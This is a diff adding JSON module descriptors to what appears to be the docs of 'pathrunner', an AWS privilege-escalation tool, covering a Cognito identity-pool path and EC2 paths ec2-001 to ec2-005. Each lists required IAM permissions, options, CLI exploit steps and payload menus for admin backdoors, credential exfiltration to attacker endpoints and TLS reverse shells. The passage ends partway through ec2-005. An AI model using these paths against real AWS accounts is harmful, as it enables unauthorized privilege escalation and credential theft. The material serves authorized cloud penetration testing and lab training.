+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cognitoidentity-001",
+      "url": "https://pathfinding.cloud/paths/cognitoidentity-001"
+    },
+    {
+      "title": "Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud",
+      "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/"
+    },
+    {
+      "title": "Using role-based access control - Amazon Cognito",
+      "url": "https://docs.aws.amazon.com/cognito/latest/developerguide/role-based-access-control.html"
+    },
+    {
+      "title": "Actions defined by Amazon Cognito Identity - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncognitoidentity.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation",
+      "T1078.004 - Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to bind to the pool's unauthenticated slot (must trust cognito-identity.amazonaws.com) [auto]",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "IDENTITY_POOL_ID",
+      "description": "Cognito Identity Pool ID in format region:GUID (must have AllowUnauthenticatedIdentities=true) [auto]",
+      "required": true,
+      "mockValue": "us-east-1:12345678-1234-1234-1234-123456789012"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Cognito and STS operations (auto-detected from IDENTITY_POOL_ID if not set)",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SESSION_NAME",
+      "description": "RoleSessionName for the AssumeRoleWithWebIdentity call",
+      "required": false,
+      "default": "cognito-escalation",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to the obtained admin identity after exploitation (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore the original unauthenticated role binding after obtaining credentials (true/false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cognitoidentity-001",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set IDENTITY_POOL_ID us-east-1:12345678-1234-1234-1234-123456789012",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "cognitoidentity-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ec2-001.json b/docs/pathrunner/data/modules/ec2-001.json
new file mode 100644
index 00000000..5002d316
--- /dev/null
+++ b/docs/pathrunner/data/modules/ec2-001.json
@@ -0,0 +1,242 @@
+{
+  "id": "ec2-001",
+  "name": "iam:PassRole + ec2:RunInstances",
+  "description": "Launch an EC2 instance with a privileged role attached, execute code via user-data scripts",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ec2"
+  ],
+  "primaryService": "ec2",
+  "aliases": [
+    "ec2-passrole",
+    "exploit/ec2_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ec2-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target instance profile role ARN"
+      },
+      {
+        "permission": "ec2:RunInstances"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeImages",
+        "description": "Auto-detect AMI"
+      },
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Auto-detect default VPC"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Auto-detect subnet"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM instance profile with desired permissions",
+      "VPC with subnet for instance placement"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole and ec2:RunInstances"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ec2-001",
+      "url": "https://pathfinding.cloud/paths/ec2-001"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_PROFILE",
+      "description": "Target IAM instance profile name or ARN to pass to EC2 instance",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, exfil/https, revshell/tls)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for EC2 instance deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AMI_ID",
+      "description": "AMI ID for EC2 instance (will auto-detect Amazon Linux 2023 if not specified)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "INSTANCE_TYPE",
+      "description": "EC2 instance type",
+      "required": false,
+      "default": "t3.micro"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for instance placement (will use default VPC if not specified)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "SECURITY_GROUP_ID",
+      "description": "Security group ID to attach (optional)",
+      "required": false,
+      "mockValue": "sg-0123456789abcdef0"
+    },
+    {
+      "name": "INSTANCE_NAME",
+      "description": "Name tag for the EC2 instance",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "WAIT_FOR_READY",
+      "description": "Wait for instance to reach running state",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Terminate instance after execution",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via EC2 user-data",
+      "slug": "ec2-backdoor-attach-policy",
+      "qualifiedName": "ec2:backdoor/attach-policy",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an existing IAM user via EC2 user-data",
+      "slug": "ec2-backdoor-create-access-key",
+      "qualifiedName": "ec2:backdoor/create-access-key",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and custom trust policy via EC2 user-data",
+      "slug": "ec2-backdoor-create-role",
+      "qualifiedName": "ec2:backdoor/create-role",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and optional console/programmatic access via EC2 user-data",
+      "slug": "ec2-backdoor-create-user",
+      "qualifiedName": "ec2:backdoor/create-user",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via EC2 user-data",
+      "slug": "ec2-backdoor-update-role-trust",
+      "qualifiedName": "ec2:backdoor/update-role-trust",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via EC2 user-data",
+      "slug": "ec2-exfil-https",
+      "qualifiedName": "ec2:exfil/https",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate EC2 instance role credentials to an attacker-controlled S3 bucket via user-data",
+      "slug": "ec2-exfil-s3",
+      "qualifiedName": "ec2:exfil/s3",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via EC2 user-data",
+      "slug": "ec2-revshell-tls",
+      "qualifiedName": "ec2:revshell/tls",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ec2-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ec2-001",
+  "gifs": [
+    {
+      "name": "ec2-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ec2-002.json b/docs/pathrunner/data/modules/ec2-002.json
new file mode 100644
index 00000000..dcebd941
--- /dev/null
+++ b/docs/pathrunner/data/modules/ec2-002.json
@@ -0,0 +1,226 @@
+{
+  "id": "ec2-002",
+  "name": "ec2:ModifyInstanceAttribute + ec2:StopInstances + ec2:StartInstances",
+  "description": "Inject a malicious cloud-init script into an existing EC2 instance's userData to execute code under the instance's attached IAM role. The instance must be stopped before the attribute can be modified; the malicious script runs on the next boot. Uses the cloud-init multipart MIME format with cloud_final_modules to force execution on every subsequent boot rather than only the first.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ec2"
+  ],
+  "primaryService": "ec2",
+  "aliases": [
+    "ec2-modifyinstanceattribute",
+    "exploit/ec2_modifyinstanceattribute"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ec2-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ec2:ModifyInstanceAttribute",
+        "description": "Must target the specific EC2 instance"
+      },
+      {
+        "permission": "ec2:StopInstances",
+        "description": "Must target the specific EC2 instance"
+      },
+      {
+        "permission": "ec2:StartInstances",
+        "description": "Must target the specific EC2 instance"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeInstances",
+        "description": "Discover target instances and verify state"
+      },
+      {
+        "permission": "ec2:DescribeInstanceAttribute",
+        "description": "Read and backup original userData before modification"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "EC2 instance must have an instance profile attached to a role with administrative permissions"
+    ],
+    "lateral": [
+      "EC2 instance must have an instance profile attached to an IAM role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ec2-002",
+      "url": "https://pathfinding.cloud/paths/ec2-002"
+    },
+    {
+      "title": "Bishop Fox - Privilege Escalation in AWS",
+      "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
+    },
+    {
+      "title": "HackTricks - AWS EC2 Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2modifyinstanceattribute"
+    },
+    {
+      "title": "Original Research - Daniel Grzelak (2016)",
+      "url": "https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_ID",
+      "description": "Target EC2 instance ID (e.g. i-0abc1234567890def)",
+      "required": true,
+      "mockValue": "i-0123456789abcdef0"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, exfil/https, revshell/tls, exfil/s3)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the target instance resides",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "WAIT_SECONDS",
+      "description": "Seconds to wait after instance starts for cloud-init to execute",
+      "required": false,
+      "default": "30"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore original userData and restart instance after execution (stop\u2192restore\u2192start cycle)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via EC2 user-data",
+      "slug": "ec2-backdoor-attach-policy",
+      "qualifiedName": "ec2:backdoor/attach-policy",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an existing IAM user via EC2 user-data",
+      "slug": "ec2-backdoor-create-access-key",
+      "qualifiedName": "ec2:backdoor/create-access-key",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and custom trust policy via EC2 user-data",
+      "slug": "ec2-backdoor-create-role",
+      "qualifiedName": "ec2:backdoor/create-role",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and optional console/programmatic access via EC2 user-data",
+      "slug": "ec2-backdoor-create-user",
+      "qualifiedName": "ec2:backdoor/create-user",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via EC2 user-data",
+      "slug": "ec2-backdoor-update-role-trust",
+      "qualifiedName": "ec2:backdoor/update-role-trust",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via EC2 user-data",
+      "slug": "ec2-exfil-https",
+      "qualifiedName": "ec2:exfil/https",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate EC2 instance role credentials to an attacker-controlled S3 bucket via user-data",
+      "slug": "ec2-exfil-s3",
+      "qualifiedName": "ec2:exfil/s3",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via EC2 user-data",
+      "slug": "ec2-revshell-tls",
+      "qualifiedName": "ec2:revshell/tls",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ec2-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_ID i-0123456789abcdef0",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ec2-002",
+  "gifs": [
+    {
+      "name": "ec2-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ec2-003.json b/docs/pathrunner/data/modules/ec2-003.json
new file mode 100644
index 00000000..50c5b3f4
--- /dev/null
+++ b/docs/pathrunner/data/modules/ec2-003.json
@@ -0,0 +1,121 @@
+{
+  "id": "ec2-003",
+  "name": "ec2-instance-connect:SendSSHPublicKey",
+  "description": "Use ec2-instance-connect:SendSSHPublicKey to push a temporary SSH public key to a running EC2 instance, SSH in within the 60-second validity window, and extract the instance role's temporary credentials from IMDS. If the role has IAM write permissions, the stolen credentials can be used to elevate the starting principal to administrator.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ec2"
+  ],
+  "primaryService": "ec2",
+  "aliases": [
+    "ec2-instanceconnect",
+    "exploit/ec2_instanceconnect"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ec2-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ec2-instance-connect:SendSSHPublicKey",
+        "description": "Target EC2 instance ID (instance must have EC2 Instance Connect enabled)"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeInstances",
+        "description": "Discover running instances with privileged roles"
+      },
+      {
+        "permission": "iam:GetInstanceProfile",
+        "description": "View instance profile to assess attached role permissions"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role permissions before attempting exploitation"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A running EC2 instance with an IAM instance profile that has administrative permissions",
+      "The instance must have EC2 Instance Connect installed and the OS user must exist (ec2-user for Amazon Linux)",
+      "The instance must have a public IP address reachable from the operator's machine",
+      "SSH port 22 must be accessible from the operator's network"
+    ],
+    "lateral": [
+      "A running EC2 instance with an IAM instance profile that has permissions useful for lateral movement",
+      "The instance must have EC2 Instance Connect installed",
+      "The instance must have a public IP address and SSH port accessible"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ec2-003",
+      "url": "https://pathfinding.cloud/paths/ec2-003"
+    },
+    {
+      "title": "HackTricks - AWS EC2 Privesc via Instance Connect",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html"
+    },
+    {
+      "title": "AWS - EC2 Instance Connect",
+      "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Connect-using-EC2-Instance-Connect.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API",
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_ID",
+      "description": "Target EC2 instance ID (must have a public IP and EC2 Instance Connect enabled)",
+      "required": true,
+      "mockValue": "i-0123456789abcdef0"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the target instance runs",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "EC2_USER",
+      "description": "OS user to authenticate as on the instance (ec2-user for Amazon Linux, ubuntu for Ubuntu)",
+      "required": false,
+      "default": "ec2-user"
+    },
+    {
+      "name": "TARGET_USER",
+      "description": "IAM user name to attach AdministratorAccess to using the stolen instance role credentials (optional)",
+      "required": false,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "SSH_TIMEOUT",
+      "description": "SSH connection timeout in seconds (must complete before the 60-second key expiry)",
+      "required": false,
+      "default": "10"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ec2-003",
+    "pathrunner set INSTANCE_ID i-0123456789abcdef0",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ec2-003",
+  "gifs": [
+    {
+      "name": "ec2-003",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ec2-004.json b/docs/pathrunner/data/modules/ec2-004.json
new file mode 100644
index 00000000..2c051994
--- /dev/null
+++ b/docs/pathrunner/data/modules/ec2-004.json
@@ -0,0 +1,251 @@
+{
+  "id": "ec2-004",
+  "name": "iam:PassRole + ec2:RequestSpotInstances",
+  "description": "Request an EC2 spot instance with a privileged IAM instance profile and inject malicious user-data that runs with the role's credentials on launch. Unlike ec2:RunInstances this attack vector uses the spot market API, which may be overlooked in permission reviews.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ec2"
+  ],
+  "primaryService": "ec2",
+  "aliases": [
+    "ec2-passrole-spot",
+    "exploit/ec2_passrole_requestspotinstances"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ec2-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Pass the target instance profile role to the spot instance"
+      },
+      {
+        "permission": "ec2:RequestSpotInstances",
+        "description": "Submit the spot instance request"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeImages",
+        "description": "Auto-detect current Amazon Linux 2023 AMI"
+      },
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Auto-detect default VPC"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Auto-detect subnet"
+      },
+      {
+        "permission": "ec2:DescribeSpotInstanceRequests",
+        "description": "Poll spot request status until fulfilled"
+      },
+      {
+        "permission": "ec2:DescribeInstances",
+        "description": "Verify instance launch"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM instance profile with administrative permissions must exist",
+      "VPC with at least one subnet for instance placement"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole scoped to the target instance profile role",
+      "Principal with ec2:RequestSpotInstances"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ec2-004",
+      "url": "https://pathfinding.cloud/paths/ec2-004"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods - Rhino Security Labs",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_PROFILE",
+      "description": "Target IAM instance profile name to pass to the spot instance",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, exfil/https, revshell/tls)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the spot instance request",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AMI_ID",
+      "description": "AMI ID for the spot instance (auto-detects Amazon Linux 2023 if not specified)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "INSTANCE_TYPE",
+      "description": "EC2 instance type for the spot request",
+      "required": false,
+      "default": "t3.micro"
+    },
+    {
+      "name": "SPOT_PRICE",
+      "description": "Maximum spot price (USD per hour)",
+      "required": false,
+      "default": "0.05"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for instance placement (uses default VPC if not specified)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "SPOT_WAIT_TIMEOUT",
+      "description": "Seconds to wait for spot request fulfillment (demo calibrated: 180)",
+      "required": false,
+      "default": "180"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Cancel spot request and terminate instance after execution (requires ec2:CancelSpotInstanceRequests and ec2:TerminateInstances; starting user typically lacks these)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via EC2 user-data",
+      "slug": "ec2-backdoor-attach-policy",
+      "qualifiedName": "ec2:backdoor/attach-policy",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an existing IAM user via EC2 user-data",
+      "slug": "ec2-backdoor-create-access-key",
+      "qualifiedName": "ec2:backdoor/create-access-key",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and custom trust policy via EC2 user-data",
+      "slug": "ec2-backdoor-create-role",
+      "qualifiedName": "ec2:backdoor/create-role",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and optional console/programmatic access via EC2 user-data",
+      "slug": "ec2-backdoor-create-user",
+      "qualifiedName": "ec2:backdoor/create-user",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via EC2 user-data",
+      "slug": "ec2-backdoor-update-role-trust",
+      "qualifiedName": "ec2:backdoor/update-role-trust",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via EC2 user-data",
+      "slug": "ec2-exfil-https",
+      "qualifiedName": "ec2:exfil/https",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate EC2 instance role credentials to an attacker-controlled S3 bucket via user-data",
+      "slug": "ec2-exfil-s3",
+      "qualifiedName": "ec2:exfil/s3",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via EC2 user-data",
+      "slug": "ec2-revshell-tls",
+      "qualifiedName": "ec2:revshell/tls",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ec2-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ec2-004",
+  "gifs": [
+    {
+      "name": "ec2-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ec2-005.json b/docs/pathrunner/data/modules/ec2-005.json
new file mode 100644
index 00000000..85eaaada
--- /dev/null
+++ b/docs/pathrunner/data/modules/ec2-005.json
@@ -0,0 +1,258 @@
+{
+  "id": "ec2-005",
+  "name": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
+  "description": "Create a new version of an existing EC2 launch template, embedding a malicious user-data script and explicitly setting a privileged IAM instance profile. Set the new version as the default. Trigger an Auto Scaling Group to launch an instance \u2014 the ASG service role holds iam:PassRole, so the attacker avoids the PassRole requirement \u2014 and let the user-data script attach AdministratorAccess to the starting principal.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ec2"
+  ],
+  "primaryService": "ec2",
+  "aliases": [
+    "ec2-launch-template-version",
+    "exploit/ec2_launch_template_version"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ec2-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ec2:CreateLaunchTemplateVersion",
+        "description": "Must be able to create a new version of the target launch template"
+      },
+      {
+        "permission": "ec2:ModifyLaunchTemplate",
+        "description": "Must be able to modify the target launch template to set the new version as default"
+      },
+      {
+        "permission": "autoscaling:SetDesiredCapacity",
+        "description": "Must be able to set ASG desired capacity to trigger an instance launch"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeLaunchTemplates",
+        "description": "Helpful for discovering launch templates"
+      },
+      {
+        "permission": "ec2:DescribeLaunchTemplateVersions",
+        "description": "Useful for viewing current default version configuration"
+      },
+      {
+        "permission": "autoscaling:DescribeAutoScalingGroups",
+        "description": "Used to discover ASGs using the target launch template"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Useful for verifying privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing EC2 launch template must exist that the starting principal can create new versions of",
+      "An Auto Scaling Group must use the target launch template as its launch template",
+      "A privileged IAM instance profile must exist that the ASG service role can pass",
+      "The privileged instance profile role must have permissions to call iam:AttachUserPolicy"
+    ],
+    "lateral": [
+      "An existing EC2 launch template must exist with elevated IAM instance profile accessible via an ASG"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ec2-005",
+      "url": "https://pathfinding.cloud/paths/ec2-005"
+    },
+    {
+      "title": "IAM permissions required for Amazon EC2 launch templates (AWS Documentation)",
+      "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permissions-for-launch-templates.html"
+    },
+    {
+      "title": "Actions defined by Amazon EC2 - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html"
+    }
+  ],
+  "relatedPaths": [
+    "ec2-002",
+    "ec2-003",
+    "ec2-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "LAUNCH_TEMPLATE_NAME",
+      "description": "Name of the existing target launch template",
+      "required": true,
+      "mockValue": "target-launch-template"
+    },
+    {
+      "name": "ASG_NAME",
+      "description": "Name of the Auto Scaling Group to trigger for instance launch (avoids iam:PassRole requirement) [auto]",
+      "required": true,
+      "mockValue": "target-auto-scaling-group"
+    },
+    {
+      "name": "INSTANCE_PROFILE",
+      "description": "ARN or name of the privileged IAM instance profile to embed in the new template version [auto]",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, revshell/tls, exfil/https)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
